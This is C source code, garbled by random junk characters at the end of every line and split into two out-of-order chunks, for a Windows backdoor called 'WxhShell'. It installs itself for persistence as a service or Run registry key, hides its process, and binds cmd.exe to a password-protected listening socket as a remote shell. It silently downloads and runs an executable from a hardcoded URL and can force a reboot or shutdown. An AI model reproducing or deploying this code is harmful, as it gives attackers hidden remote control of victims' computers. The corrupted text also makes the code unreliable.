    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hrRkam !y  
    if(Boot(SHUTDOWN)) Ob"48{w$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l*`2 EJ  
    else { MY[QYBkn}  
    closesocket(wsh); tTzPT<  
    ExitThread(0); 5w# Ceg9  
    } ?=22@Q}g  
    break; I}&`IUP  
    } 0"*!0s ~  
  // 获取shell rLU+-_  
  case 's': { Y30e7d* qr  
    CmdShell(wsh); tS2Orzc>,  
    closesocket(wsh);  9z9EK'g  
    ExitThread(0); dZ1/w0<M2  
    break; 9HjtWQn  
  } Z+qTMm  
  // 退出 + ~6Nq(kV  
  case 'x': { 1m52vQSo3l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2,nVo^13}  
    CloseIt(wsh); Q>,EYb>wI  
    break; nsRZy0@$t  
    } ws tH&^  
  // 离开 U=<d;2N#  
  case 'q': { ]CFh0N|(L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nbVlP  
    closesocket(wsh); b xU13ESv  
    WSACleanup(); PW[NW-S`c  
    exit(1); `H_.<``>  
    break; P2q'P&  
        } `pHlGbrW  
  } nMniHB'  
  } km)5?  
&rcC7v K9  
  // 提示信息 /ynvQ1#uA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >8pmClVvmR  
} "o=*f/M  
  } A1mxM5N  
)@X `B d  
  return; X/5\L.g2  
} Z`?Z1SBt  
) N8 [@  
// shell模块句柄 5iG+O4n%  
int CmdShell(SOCKET sock) Hq[vh7Lux  
{ 'g4t !__  
STARTUPINFO si; ?\ qfuA9.  
ZeroMemory(&si,sizeof(si)); :|GC~JElo5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'pJ46"D@m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A[/_}bI|  
PROCESS_INFORMATION ProcessInfo; *$t<H-U-  
char cmdline[]="cmd"; .3{PgrZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (d L;A0L  
  return 0; (Hr_gkGtM  
} O[N}@%HMW  
*bl*R';  
// 自身启动模式 k,~I>qg  
int StartFromService(void) QWo_Zg0"  
{ xHA6  
typedef struct b"au9:F4@7  
{ IEx`W;V]K  
  DWORD ExitStatus; Tn$/9<Q  
  DWORD PebBaseAddress; 1@ e22\  
  DWORD AffinityMask; ux[h\Tp  
  DWORD BasePriority; rNdeD~\  
  ULONG UniqueProcessId; 0I8w'/s_g9  
  ULONG InheritedFromUniqueProcessId; rQ^X3J*`  
}   PROCESS_BASIC_INFORMATION; y?ps+ce93  
OZ/P@`kN.f  
PROCNTQSIP NtQueryInformationProcess; Pl@3=s!~>~  
f{b$Y3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z*Sa%yf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c k$ > yk  
aR iD}P*V  
  HANDLE             hProcess; '8au j  
  PROCESS_BASIC_INFORMATION pbi; <.DFa/G   
kl0!*j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;3nR_6\  
  if(NULL == hInst ) return 0; q'07  
BCw5.@HK*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x1gfo!BN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -QUr|:SK:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?r~|B/ ]  
duCso M/  
  if (!NtQueryInformationProcess) return 0; m+f?+c6  
M![aty@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FC'v= *  
  if(!hProcess) return 0; dG6 G  
W[5a'}OV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >i`V-"x  
F"3LG"  
  CloseHandle(hProcess); EJdl%j  
#HMJBQ4v#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F,t ,Ja  
if(hProcess==NULL) return 0; ,rvw E  
S%h[e[[fST  
HMODULE hMod; >)/,5VSE  
char procName[255]; *5SOXrvhu6  
unsigned long cbNeeded; S,K'y?6  
^ -s'Ad3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i.eu$~F  
U_/sY9gz(  
  CloseHandle(hProcess); 7^{M:kYC!  
UDJ{ iZ  
if(strstr(procName,"services")) return 1; // 以服务启动 Ueq*R(9>  
6ty>0  
  return 0; // 注册表启动 $ekB+ t:cj  
} HFJna2B`  
3DNw=Ic0k  
// 主模块 eYQq@lrWv  
int StartWxhshell(LPSTR lpCmdLine) t0 [H_  
{ mA ^[S.!  
  SOCKET wsl; y7K&@ Y  
BOOL val=TRUE; hAPWEh^  
  int port=0; ^8,Y1r9`$  
  struct sockaddr_in door; X8F@U ^@  
8Ol#-2>k$  
  if(wscfg.ws_autoins) Install(); SF$]{ X  
- P;_j,~U  
port=atoi(lpCmdLine); NWuJ&+gcO5  
*z2G(Uac  
if(port<=0) port=wscfg.ws_port; bCM&Fe0GM  
o"O=Epg  
  WSADATA data; bITc9Hqc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N5 BC<pu  
K~j&Q{yws@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZRDY `eK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0KW@j>=jK  
  door.sin_family = AF_INET; zJp}JO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1_D|;/aI  
  door.sin_port = htons(port); QZcdfJck=+  
GpjyF_L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '@Zau\xC  
closesocket(wsl); B8+J0jdg6%  
return 1; q Ee1OB  
} ()< E?D=  
RC_w 1:h  
  if(listen(wsl,2) == INVALID_SOCKET) { OYw~I.Rq  
closesocket(wsl); 4!'1o`8vs  
return 1; C2WWS(zn  
} $T\W'W R>  
  Wxhshell(wsl); [@!.(Hp  
  WSACleanup(); 8 |>$M  
:r?gD2q  
return 0; _ >)+ u  
g7($lt>  
} |}~2=r z  
7H$0NMP  
// 以NT服务方式启动 AXUSU(hU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _:hrm%^  
{ o:H^ L,<Tl  
DWORD   status = 0;  oCE=!75  
  DWORD   specificError = 0xfffffff; Vy]y73~  
Vej [wY-c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; pwg$% lv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X?,ly3,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AT){OQF8&  
  serviceStatus.dwWin32ExitCode     = 0; uFseO9F.2  
  serviceStatus.dwServiceSpecificExitCode = 0; c/l%:!A  
  serviceStatus.dwCheckPoint       = 0; LRF_w)^['  
  serviceStatus.dwWaitHint       = 0; X<\E 'v`~  
!PQ%h/ix  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  %2 A-u  
  if (hServiceStatusHandle==0) return; :n'$Txf  
:%[=v (G[  
status = GetLastError(); q=NI}k  
  if (status!=NO_ERROR) i/ED_<_ Vg  
{ hf6=`M}>i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \8Mn[G9TL  
    serviceStatus.dwCheckPoint       = 0; @Q!Jzw#B  
    serviceStatus.dwWaitHint       = 0; bSOxM /N  
    serviceStatus.dwWin32ExitCode     = status; n#jBqr&!M  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;7id![KI4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^SP/&w<c  
    return; cE{hy 7cH  
  } XILB>o.^3  
_a;E>   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S6k R o^2  
  serviceStatus.dwCheckPoint       = 0; ]_Cm 5Z7  
  serviceStatus.dwWaitHint       = 0; Y7W xV>E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b2}>{Li0  
} W62 $ HI  
N_dHPa  
// 处理NT服务事件,比如:启动、停止 uvN Lm]*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) XRZj+muTZ  
{ 6f"jl  
switch(fdwControl) P$YY4|`  
{ K U 2LJ_~Y  
case SERVICE_CONTROL_STOP: 4*k>M+o/C4  
  serviceStatus.dwWin32ExitCode = 0; ~UrKyA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l@;UwnI  
  serviceStatus.dwCheckPoint   = 0; |u r/6{Oj1  
  serviceStatus.dwWaitHint     = 0; L-&N*   
  { )-98pp7~BB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ` Aa}q(}k  
  } 7_OC&hhL  
  return; ^!Y]l  
case SERVICE_CONTROL_PAUSE: MQs!+Z"m>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #Tc]L<."  
  break; 8fV.NCyE  
case SERVICE_CONTROL_CONTINUE: @vsgmz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; nWfzwXP>_  
  break; oXC|q-(C  
case SERVICE_CONTROL_INTERROGATE: bjn: e!}  
  break; #[ei/p  
}; /_WA F90R?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $Hw w  
} D-{;;<nIr`  
C%2BDj  
// 标准应用程序主函数 _?]0b7X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %7w=;]ym  
{ w=NM==cLj  
OQlmzg  
// 获取操作系统版本 u|;?FQ$M  
OsIsNt=GetOsVer(); 0ge"ISK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [&_7w\m  
RIhu9W   
  // 从命令行安装 JD`IPQb~E  
  if(strpbrk(lpCmdLine,"iI")) Install(); 968<yO]  
{6*$yLWK  
  // 下载执行文件 \,UpFuU\  
if(wscfg.ws_downexe) { {Ad4H[]|]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AnF"+<  
  WinExec(wscfg.ws_filenam,SW_HIDE); Sb2hM~  
} /+V}.  
_Y{8FN(4  
if(!OsIsNt) { Hw0S/ytY  
// 如果时win9x,隐藏进程并且设置为注册表启动 M~rN17S  
HideProc(); =`MxgK +  
StartWxhshell(lpCmdLine); s3(mkdXv  
} U0ZT9/4  
else *5|;eN  
  if(StartFromService()) oI\ Lepl*  
  // 以服务方式启动 ,9A1p06  
  StartServiceCtrlDispatcher(DispatchTable); GHs,,J;  
else !.2tv  
  // 普通方式启动 =3h?!$#?  
  StartWxhshell(lpCmdLine); DOaTp f  
C VXz>oM  
return 0; %bN+Y'  
} :d AC:h  
}3825  
|wxAdPe  
DpRGPs  
=========================================== 5T*Uq>x0  
OLH[F  
W u C2 LM  
8O[br@h:5  
1>c^-"#e^  
RJ\'"XQ  
" #&k`-@b5|  
539f B,  
#include <stdio.h> jv ;8Mm  
#include <string.h> 7 @W}>gnf  
#include <windows.h> Io;x~i09K  
#include <winsock2.h> < )qJI'u|  
#include <winsvc.h> ?&`PN<~2z  
#include <urlmon.h> Ad}Nc"O  
&GfDo4$  
#pragma comment (lib, "Ws2_32.lib") N9dx^+\  
#pragma comment (lib, "urlmon.lib") `{oFdvL~)  
N*1{yl76x  
#define MAX_USER   100 // 最大客户端连接数 &Z3u(Eb  
#define BUF_SOCK   200 // sock buffer =x xN3Ay  
#define KEY_BUFF   255 // 输入 buffer [ML|, kq!  
;aj4V<@  
#define REBOOT     0   // 重启 .OM^@V~T  
#define SHUTDOWN   1   // 关机 op2<~v0?  
>;K!yI?0  
#define DEF_PORT   5000 // 监听端口 J16t&Ha`  
@<TC+M5!  
#define REG_LEN     16   // 注册表键长度 M?S&@\}c  
#define SVC_LEN     80   // NT服务名长度 nk*T x  
kEYkd@ {  
// 从dll定义API n8+_Uww  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /;X+<Wj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eqY8;/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yC:C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qNuBK6E#4  
I.6 qA *  
// wxhshell配置信息 I&J>   
struct WSCFG { #?h-<KQQ  
  int ws_port;         // 监听端口 S'_2o?fs  
  char ws_passstr[REG_LEN]; // 口令 TpGnSD  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6/dP)"a('  
  char ws_regname[REG_LEN]; // 注册表键名 WHy r;m3)  
  char ws_svcname[REG_LEN]; // 服务名 3j6Am{9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?mp}_x#=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #rI4\K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )p`zN=t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <~bvf A=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;%Zu[G`C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z#t}yC%^d  
o.g)[$M8cF  
}; @hF$qevX  
6n?0MMtR  
// default Wxhshell configuration =c ;.cW  
struct WSCFG wscfg={DEF_PORT, 8x`E UJ  
    "xuhuanlingzhe", Ods~tM  
    1, c }7gHud  
    "Wxhshell", M:*)l(  
    "Wxhshell", u.@B-Pf[Eo  
            "WxhShell Service", x+bC\,q  
    "Wrsky Windows CmdShell Service", @@3%lr71   
    "Please Input Your Password: ", w }=LC#le  
  1, h:=W`(n5u  
  "http://www.wrsky.com/wxhshell.exe", {+^&7JX  
  "Wxhshell.exe" Rn$TYCO  
    }; I]-"Tw  
Zs|m_O G  
// 消息定义模块 STL+tLJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  GUps\:ss  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7o7*g 7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |/X+2K}3  
char *msg_ws_ext="\n\rExit."; C <d]0)  
char *msg_ws_end="\n\rQuit."; [{q])P;  
char *msg_ws_boot="\n\rReboot..."; tiPZ.a~k  
char *msg_ws_poff="\n\rShutdown..."; {U)q)  
char *msg_ws_down="\n\rSave to "; yIu_DFq%  
Q"s]<MtdS  
char *msg_ws_err="\n\rErr!"; Y#zHw< <E  
char *msg_ws_ok="\n\rOK!"; RZ0+Uu/J  
YS bS.tq  
char ExeFile[MAX_PATH]; Q%QIr  
int nUser = 0; c=f;3N  
HANDLE handles[MAX_USER]; v=~+o[  
int OsIsNt; `PtfPt<{  
Kut@z>SK  
SERVICE_STATUS       serviceStatus; Pyp#'du>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f~?kx41dq  
J(5#fo{Q.g  
// 函数声明 5 )z'=  
int Install(void); 6SF29[&  
int Uninstall(void); y-uSpW  
int DownloadFile(char *sURL, SOCKET wsh); }E^k*S  
int Boot(int flag); U E-1p  
void HideProc(void); C.RXQ`-P}  
int GetOsVer(void); !}hG|Y6s  
int Wxhshell(SOCKET wsl); ' 7H"ezt  
void TalkWithClient(void *cs); /pWKV>tjj  
int CmdShell(SOCKET sock); h,ipQ>  
int StartFromService(void); &<EixDi4q  
int StartWxhshell(LPSTR lpCmdLine); &&7&/   
07G'"=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r<[G~n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hf:\^w  
hz+c]K  
// 数据结构和表定义 Z=be ki]  
SERVICE_TABLE_ENTRY DispatchTable[] = =J`M}BBx  
{ `h~-  
{wscfg.ws_svcname, NTServiceMain}, bR<XQHl  
{NULL, NULL} 1Q7]1fRu  
}; 0*,] `A=  
$"g'C8  
// 自我安装 M7=|N:/_  
int Install(void) o|APsQE  
{ ;)Sf|  
  char svExeFile[MAX_PATH]; #s{EIj~YR_  
  HKEY key; K(AZD&D  
  strcpy(svExeFile,ExeFile); Z3f}'vr  
dN@C)5pm5`  
// 如果是win9x系统,修改注册表设为自启动 riQ0'-p  
if(!OsIsNt) { {$I1(DYN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L=gG23U&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @CS%=tE}U  
  RegCloseKey(key); ! u9LZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q>I7.c-M|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SM4'3d&mf  
  RegCloseKey(key); p@eW*tE  
  return 0; C8O<fwNM  
    } qG3MyK%O\  
  } <l< y R?  
} C6qGCzlG`  
else { A+Kp ECP  
HfEl TC:3f  
// 如果是NT以上系统,安装为系统服务 =vsvx{o?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a>&dAo}  
if (schSCManager!=0) Zd]ua_)I%[  
{ q}C;~nMD  
  SC_HANDLE schService = CreateService 23X-h#w  
  ( NbK67p:  
  schSCManager, ^fP5@T*f  
  wscfg.ws_svcname, ir~4\G!  
  wscfg.ws_svcdisp, |(=b  
  SERVICE_ALL_ACCESS, 0 *]ZC'pm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G_ #MXFWt  
  SERVICE_AUTO_START, a&Me#H{  
  SERVICE_ERROR_NORMAL, }[y_Fr0  
  svExeFile, 6('CB|ga  
  NULL, T2TWb  
  NULL, jxZ_-1  
  NULL, |=[. _VH1  
  NULL, @xr}(.  
  NULL 5Vr#>W  
  ); =3=8oFx8  
  if (schService!=0) C_&ZQlgQ  
  { tlgg~MViS  
  CloseServiceHandle(schService); ^*F'[!. p  
  CloseServiceHandle(schSCManager); zqLOwzMlLx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {[bB$~7Eu  
  strcat(svExeFile,wscfg.ws_svcname); U.1&'U*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %>1C ($^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4JL]?75  
  RegCloseKey(key); @v/ 8}n  
  return 0; |$[.X3i  
    } e\ }'i-  
  } 8peK[sz  
  CloseServiceHandle(schSCManager); 9O\yIL  
} /d> Jkv  
} *JO%.QNg  
'`&b1Rc  
return 1; G@U}4' V9  
} +*G<xW :M  
$\L=RU!c}  
// 自我卸载 j07b!j:"\}  
int Uninstall(void) } a!HbH  
{ ->W rBO  
  HKEY key; L$?YbQo7  
0y%s\,PsT  
if(!OsIsNt) { S~B{G T\M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Zbf~E {  
  RegDeleteValue(key,wscfg.ws_regname); ,Y@4d79  
  RegCloseKey(key); /5~j"| U'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G1:"Gxja  
  RegDeleteValue(key,wscfg.ws_regname); ZeH=]G4Zv7  
  RegCloseKey(key); ^2nH6,LPS  
  return 0; %-an\.a.  
  } juMHc$d17  
} "5"{~3Gw^  
} HBZtg  
else { ?>mpUH  
cK75Chsu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SKo*8r   
if (schSCManager!=0)  5s<.qDc  
{ N~DO_^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C\* 0621  
  if (schService!=0) WyUa3$[gO  
  { 2 ;Q|h$ n  
  if(DeleteService(schService)!=0) { :MGIp%3  
  CloseServiceHandle(schService); =/ 19 -Y:  
  CloseServiceHandle(schSCManager); }ok'd=M  
  return 0; EV_u8?va  
  } /a\]Dwj5  
  CloseServiceHandle(schService); k;HI-v  
  } gyob q'o-  
  CloseServiceHandle(schSCManager);  >1q:-^  
} ckbD/+  
} 6>[J^k%~w)  
\cQ+9e)  
return 1; bLO^5`6  
} 3A3WD+[L  
pEY zB;  
// 从指定url下载文件 =91f26c!~  
int DownloadFile(char *sURL, SOCKET wsh) *Tq7[v{0*|  
{ `eKFs0M.  
  HRESULT hr; k>#-NPU$  
char seps[]= "/"; u+ 8wBb5!  
char *token; 5yf`3vV|3@  
char *file; ?$=Ml$  
char myURL[MAX_PATH]; h4c4!S  
char myFILE[MAX_PATH]; @e+qe9A|  
\o5/, C  
strcpy(myURL,sURL); *a` _,Q{x  
  token=strtok(myURL,seps); FB O_B  
  while(token!=NULL) 21hTun"W  
  { pZ 7KWk4  
    file=token; |^O3~!JP(>  
  token=strtok(NULL,seps); e*39/B0S  
  } XXb,*u 3  
MaP-   
GetCurrentDirectory(MAX_PATH,myFILE); 4TcW%  
strcat(myFILE, "\\"); p+Fh9N<F9  
strcat(myFILE, file); UbP$WIrq  
  send(wsh,myFILE,strlen(myFILE),0); WB"90!  
send(wsh,"...",3,0); ;MW=F9U*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :Y4G^i  
  if(hr==S_OK) qR^+K@ *|  
return 0; sd |c/ayh~  
else Q'rX]kk_  
return 1; W1[C/dDc  
sX(rJLbD  
} *!,k`=.([#  
ki]i[cdk  
// 系统电源模块 A{gniYqvB`  
int Boot(int flag) (!T\[6  
{ fKa]F`p_h  
  HANDLE hToken; VKy3tW/_&  
  TOKEN_PRIVILEGES tkp; SKVQ !^o  
`'ak/%Krh  
  if(OsIsNt) { $ 3R5p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xS_tB)C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;eP. B/N  
    tkp.PrivilegeCount = 1; nW]T-!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?d)FYB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RY~m Q  
if(flag==REBOOT) { a'7RzN ,]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dEfP272M  
  return 0; [UB]vPXm$  
} &IFXU2t}  
else { <^adt *m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f4^\iZ{`G  
  return 0; {QT:1U \.  
} sl*&.F,v=  
  } tS[@?qP  
  else { 1pTQMf a  
if(flag==REBOOT) { J!iK W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  bRx}ih  
  return 0; Bacmrf  
} n;r W  
else { HG)h,&nc-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m!:sDQn{3  
  return 0; 03 ;L  
} S,#UA%V"  
} nk+9 J#Gs  
0;"  >.  
return 1; O_Z   
} Y%8[bL$ d  
IR"=8w#MP  
// win9x进程隐藏模块 @&2# kO~=  
void HideProc(void) (?z"_\^n/  
{ yj mNeZ  
xOc&n0}%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DC=XPn/V  
  if ( hKernel != NULL ) &DWSu`z  
  { C 4\Q8uK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <2fvEW/#v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); } BnPNc[I  
    FreeLibrary(hKernel); z?(QM:  
  } II(P  
S[RVk=A1  
return; I>@Qfc bG  
} 9S{0vc/2@  
<is%lx(GDX  
// 获取操作系统版本 Bmi9U   
int GetOsVer(void) b IZi3GmRF  
{ ;})s o  
  OSVERSIONINFO winfo; &MGM9 zm-]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g;!,2,De}  
  GetVersionEx(&winfo); L_fiE3G|>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /Xw wB  
  return 1; nY_+V{F  
  else >\>!Q V1@  
  return 0; ljjnqQ%  
} ]]|vQA^  
Bk~%  
// 客户端句柄模块 3NgyF[c  
int Wxhshell(SOCKET wsl) 3!u:*ibt  
{ +JY]J89  
  SOCKET wsh; ]}BT'fky#  
  struct sockaddr_in client; t+n+_X  
  DWORD myID; f_ UwIP  
I=}R Z9  
  while(nUser<MAX_USER) H)i%\7F5  
{ PYW>  
  int nSize=sizeof(client); CR`}{?2H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W.  p'T}2  
  if(wsh==INVALID_SOCKET) return 1; L_}F.nbS5  
7)y +QU]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .0]Odf:@  
if(handles[nUser]==0) 1)ZdkTF@H  
  closesocket(wsh); r<-@.$lf  
else #l_hiD`;r  
  nUser++; /` 4B-Y4M4  
  } k_7agW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cy#N(S[ 1  
G1/  
  return 0; aT PmW]w6  
} 1#^r5E4  
XN~r d,MZ%  
// 关闭 socket 5w@Q %'o`I  
void CloseIt(SOCKET wsh) 1fU~&?&-u  
{ };]f 3  
closesocket(wsh); 4GqE%n+ta~  
nUser--; W> rx:O+  
ExitThread(0); R?+:Js/  
} XnV$}T:?X  
$rz'Ybs  
// 客户端请求句柄 VseeU;q  
void TalkWithClient(void *cs) "6o5x&H  
{ p`{| [<  
!7aJfs2  
  SOCKET wsh=(SOCKET)cs; Bhw|!Y&%  
  char pwd[SVC_LEN]; ;>B06v  
  char cmd[KEY_BUFF]; T'e p&tNY  
char chr[1]; 73kL>u  
int i,j; v(z2,?/4  
&Ch~$Wb^  
  while (nUser < MAX_USER) { R%^AW2   
S#^-VZ~U4x  
if(wscfg.ws_passstr) { LkIbvJCV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [5QbE$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nN!R!tJPa  
  //ZeroMemory(pwd,KEY_BUFF); xsSX~`  
      i=0; >X-*Hu'U#  
  while(i<SVC_LEN) { ,{u'7p  
-K%~2M<  
  // 设置超时 A0 1 D-)  
  fd_set FdRead; wv_<be[?*  
  struct timeval TimeOut; :]^FTnO  
  FD_ZERO(&FdRead); (TFo]c  
  FD_SET(wsh,&FdRead); ex-W{k$  
  TimeOut.tv_sec=8; 9>HCt*|_8  
  TimeOut.tv_usec=0; nW `EBs  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TGu]6NzyZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <Z8^.t)|  
]*JH~.p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6`;+|H<$  
  pwd=chr[0]; HVK./y qy  
  if(chr[0]==0xd || chr[0]==0xa) { :_"%o=  
  pwd=0; yaKw/vV  
  break; bcC+af0L  
  } n 0CS =  
  i++; I 6Mr[#*  
    } ~Y'j8W  
YR}By;Bq  
  // 如果是非法用户,关闭 socket L% ?3VW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ##clReS  
} XbKNH>  
Ba /^CS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JLH,:2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YN 31Lo  
A J"/T+g_  
while(1) { RTRi{p  
q X>\*@  
  ZeroMemory(cmd,KEY_BUFF); {Qr0pjE7R  
[p[C45d=<  
      // 自动支持客户端 telnet标准   {kp^@  
  j=0; Wg ?P"  
  while(j<KEY_BUFF) { iHL`r1I!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t`y*oRy  
  cmd[j]=chr[0]; [W2GLd]  
  if(chr[0]==0xa || chr[0]==0xd) { JypXQC}~  
  cmd[j]=0; j: /cJt  
  break; Y;6%pm$  
  } 7O.{g  
  j++; dw]wQ\4B  
    } +F3`?6UXz  
lc2RMu  
  // 下载文件 FkJX)  
  if(strstr(cmd,"http://")) { 1xE*quhrh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =FtJa3mHK  
  if(DownloadFile(cmd,wsh)) K]Onb{QY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aj)?P  
  else a#o6Nv  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N"wp2w  
  } #J<IHNRt  
  else { nfbqJ  
